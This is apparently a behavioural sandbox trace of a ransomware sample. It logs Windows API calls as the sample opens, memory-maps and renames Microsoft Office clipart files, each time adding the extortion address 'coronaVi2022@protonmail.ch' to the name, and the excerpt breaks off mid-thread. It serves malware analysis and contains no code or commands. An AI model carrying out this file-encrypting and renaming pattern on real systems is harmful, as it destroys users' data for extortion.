	[0093.515] RtlExitUserThread (Status=0x0) 

Thread:
	id = 482
	os_tid = 0xd7c

	[0093.516] _alloca_probe () returned 0x40328a
	[0093.517] GetCurrentThreadId () returned 0xd7c
	[0093.517] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif", dwFileAttributes=0x80) returned 1
	[0093.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa3c
	[0093.517] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2617) returned 1
	[0093.517] CreateFileMappingA (hFile=0xa3c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa41, lpName=0x0) returned 0xa40
	[0093.518] MapViewOfFile (hFileMappingObject=0xa40, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.519] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.519] CloseHandle (hObject=0xa40) returned 1
	[0093.519] GetCurrentThreadId () returned 0xd7c
	[0093.519] FlushFileBuffers (hFile=0xa3c) returned 1
	[0093.523] CloseHandle (hObject=0xa3c) returned 1
	[0093.523] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif") returned 184
	[0093.523] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00135_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00135_.gif")) returned 1
	[0093.524] free (_Block=0x51f0070) 
	[0093.524] RtlExitUserThread (Status=0x0) 

Thread:
	id = 483
	os_tid = 0x4ec

	[0093.526] _alloca_probe () returned 0x40328a
	[0093.526] GetCurrentThreadId () returned 0x4ec
	[0093.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif", dwFileAttributes=0x80) returned 1
	[0093.527] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa40
	[0093.527] GetFileSizeEx (in: hFile=0xa40, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=10641) returned 1
	[0093.527] CreateFileMappingA (hFile=0xa40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2991, lpName=0x0) returned 0xa44
	[0093.527] MapViewOfFile (hFileMappingObject=0xa44, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.529] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.529] CloseHandle (hObject=0xa44) returned 1
	[0093.529] GetCurrentThreadId () returned 0x4ec
	[0093.529] FlushFileBuffers (hFile=0xa40) returned 1
	[0093.531] CloseHandle (hObject=0xa40) returned 1
	[0093.531] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif") returned 184
	[0093.532] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00139_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00139_.gif")) returned 1
	[0093.532] free (_Block=0x51f5098) 
	[0093.532] RtlExitUserThread (Status=0x0) 

Thread:
	id = 484
	os_tid = 0xef4

	[0093.546] _alloca_probe () returned 0x40328a
	[0093.546] GetCurrentThreadId () returned 0xef4
	[0093.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif", dwFileAttributes=0x80) returned 1
	[0093.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa44
	[0093.547] GetFileSizeEx (in: hFile=0xa44, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15337) returned 1
	[0093.547] CreateFileMappingA (hFile=0xa44, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3bf1, lpName=0x0) returned 0xa48
	[0093.547] MapViewOfFile (hFileMappingObject=0xa48, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.550] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.550] CloseHandle (hObject=0xa48) returned 1
	[0093.551] GetCurrentThreadId () returned 0xef4
	[0093.551] FlushFileBuffers (hFile=0xa44) returned 1
	[0093.553] CloseHandle (hObject=0xa44) returned 1
	[0093.553] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif") returned 184
	[0093.553] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00142_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00142_.gif")) returned 1
	[0093.554] free (_Block=0x51f1078) 
	[0093.554] RtlExitUserThread (Status=0x0) 

Thread:
	id = 485
	os_tid = 0xe94

	[0093.555] _alloca_probe () returned 0x40328a
	[0093.556] GetCurrentThreadId () returned 0xe94
	[0093.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif", dwFileAttributes=0x80) returned 1
	[0093.556] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa48
	[0093.556] GetFileSizeEx (in: hFile=0xa48, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5329) returned 1
	[0093.556] CreateFileMappingA (hFile=0xa48, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14d1, lpName=0x0) returned 0xa4c
	[0093.556] MapViewOfFile (hFileMappingObject=0xa4c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.558] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.558] CloseHandle (hObject=0xa4c) returned 1
	[0093.558] GetCurrentThreadId () returned 0xe94
	[0093.558] FlushFileBuffers (hFile=0xa48) returned 1
	[0093.560] CloseHandle (hObject=0xa48) returned 1
	[0093.560] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif") returned 184
	[0093.560] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00154_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00154_.gif")) returned 1
	[0093.561] free (_Block=0x51f60a0) 
	[0093.561] RtlExitUserThread (Status=0x0) 

Thread:
	id = 486
	os_tid = 0xcfc

	[0093.562] _alloca_probe () returned 0x40328a
	[0093.563] GetCurrentThreadId () returned 0xcfc
	[0093.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif", dwFileAttributes=0x80) returned 1
	[0093.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa4c
	[0093.563] GetFileSizeEx (in: hFile=0xa4c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4977) returned 1
	[0093.563] CreateFileMappingA (hFile=0xa4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1371, lpName=0x0) returned 0xa50
	[0093.563] MapViewOfFile (hFileMappingObject=0xa50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.565] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.565] CloseHandle (hObject=0xa50) returned 1
	[0093.565] GetCurrentThreadId () returned 0xcfc
	[0093.565] FlushFileBuffers (hFile=0xa4c) returned 1
	[0093.567] CloseHandle (hObject=0xa4c) returned 1
	[0093.567] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif") returned 184
	[0093.567] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00157_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00157_.gif")) returned 1
	[0093.568] free (_Block=0x51f4090) 
	[0093.568] RtlExitUserThread (Status=0x0) 

Thread:
	id = 487
	os_tid = 0x1300

	[0093.574] _alloca_probe () returned 0x40328a
	[0093.574] GetCurrentThreadId () returned 0x1300
	[0093.574] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif", dwFileAttributes=0x80) returned 1
	[0093.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa50
	[0093.575] GetFileSizeEx (in: hFile=0xa50, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5049) returned 1
	[0093.575] CreateFileMappingA (hFile=0xa50, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xa54
	[0093.575] MapViewOfFile (hFileMappingObject=0xa54, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.577] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.577] CloseHandle (hObject=0xa54) returned 1
	[0093.577] GetCurrentThreadId () returned 0x1300
	[0093.577] FlushFileBuffers (hFile=0xa50) returned 1
	[0093.579] CloseHandle (hObject=0xa50) returned 1
	[0093.579] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif") returned 184
	[0093.579] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00158_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00158_.gif")) returned 1
	[0093.580] free (_Block=0x51f4090) 
	[0093.580] RtlExitUserThread (Status=0x0) 

Thread:
	id = 488
	os_tid = 0x1804

	[0093.582] _alloca_probe () returned 0x40328a
	[0093.582] GetCurrentThreadId () returned 0x1804
	[0093.582] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif", dwFileAttributes=0x80) returned 1
	[0093.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa54
	[0093.583] GetFileSizeEx (in: hFile=0xa54, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=1161) returned 1
	[0093.583] CreateFileMappingA (hFile=0xa54, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x491, lpName=0x0) returned 0xa58
	[0093.583] MapViewOfFile (hFileMappingObject=0xa58, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.584] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.584] CloseHandle (hObject=0xa58) returned 1
	[0093.584] GetCurrentThreadId () returned 0x1804
	[0093.584] FlushFileBuffers (hFile=0xa54) returned 1
	[0093.591] CloseHandle (hObject=0xa54) returned 1
	[0093.591] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif") returned 184
	[0093.591] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00160_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00160_.gif")) returned 1
	[0093.592] free (_Block=0x51f0070) 
	[0093.592] RtlExitUserThread (Status=0x0) 

Thread:
	id = 489
	os_tid = 0x1808

	[0093.589] _alloca_probe () returned 0x40328a
	[0093.590] GetCurrentThreadId () returned 0x1808
	[0093.590] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif", dwFileAttributes=0x80) returned 1
	[0093.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c
	[0093.590] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7617) returned 1
	[0093.590] CreateFileMappingA (hFile=0xa5c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1dc1, lpName=0x0) returned 0xa60
	[0093.591] MapViewOfFile (hFileMappingObject=0xa60, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0093.594] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0093.594] CloseHandle (hObject=0xa60) returned 1
	[0093.594] GetCurrentThreadId () returned 0x1808
	[0093.594] FlushFileBuffers (hFile=0xa5c) returned 1
	[0093.596] CloseHandle (hObject=0xa5c) returned 1
	[0093.596] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif") returned 184
	[0093.596] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00161_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00161_.gif")) returned 1
	[0093.597] free (_Block=0x51f3088) 
	[0093.597] RtlExitUserThread (Status=0x0) 

Thread:
	id = 490
	os_tid = 0x180c

	[0093.599] _alloca_probe () returned 0x40328a
	[0093.599] GetCurrentThreadId () returned 0x180c
	[0093.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif", dwFileAttributes=0x80) returned 1
	[0093.599] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa60
	[0093.599] GetFileSizeEx (in: hFile=0xa60, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=7017) returned 1
	[0093.599] CreateFileMappingA (hFile=0xa60, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1b71, lpName=0x0) returned 0xa54
	[0093.600] MapViewOfFile (hFileMappingObject=0xa54, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.601] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.601] CloseHandle (hObject=0xa54) returned 1
	[0093.602] GetCurrentThreadId () returned 0x180c
	[0093.602] FlushFileBuffers (hFile=0xa60) returned 1
	[0093.603] CloseHandle (hObject=0xa60) returned 1
	[0093.604] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif") returned 184
	[0093.604] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00163_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00163_.gif")) returned 1
	[0093.605] free (_Block=0x51f4090) 
	[0093.605] RtlExitUserThread (Status=0x0) 

Thread:
	id = 491
	os_tid = 0x1810

	[0093.606] _alloca_probe () returned 0x40328a
	[0093.607] GetCurrentThreadId () returned 0x1810
	[0093.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif", dwFileAttributes=0x80) returned 1
	[0093.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00164_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00164_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa54
	[0093.607] GetFileSizeEx (in: hFile=0xa54, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13273) returned 1
	[0093.607] CreateFileMappingA (hFile=0xa54, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33e1, lpName=0x0) returned 0xa64
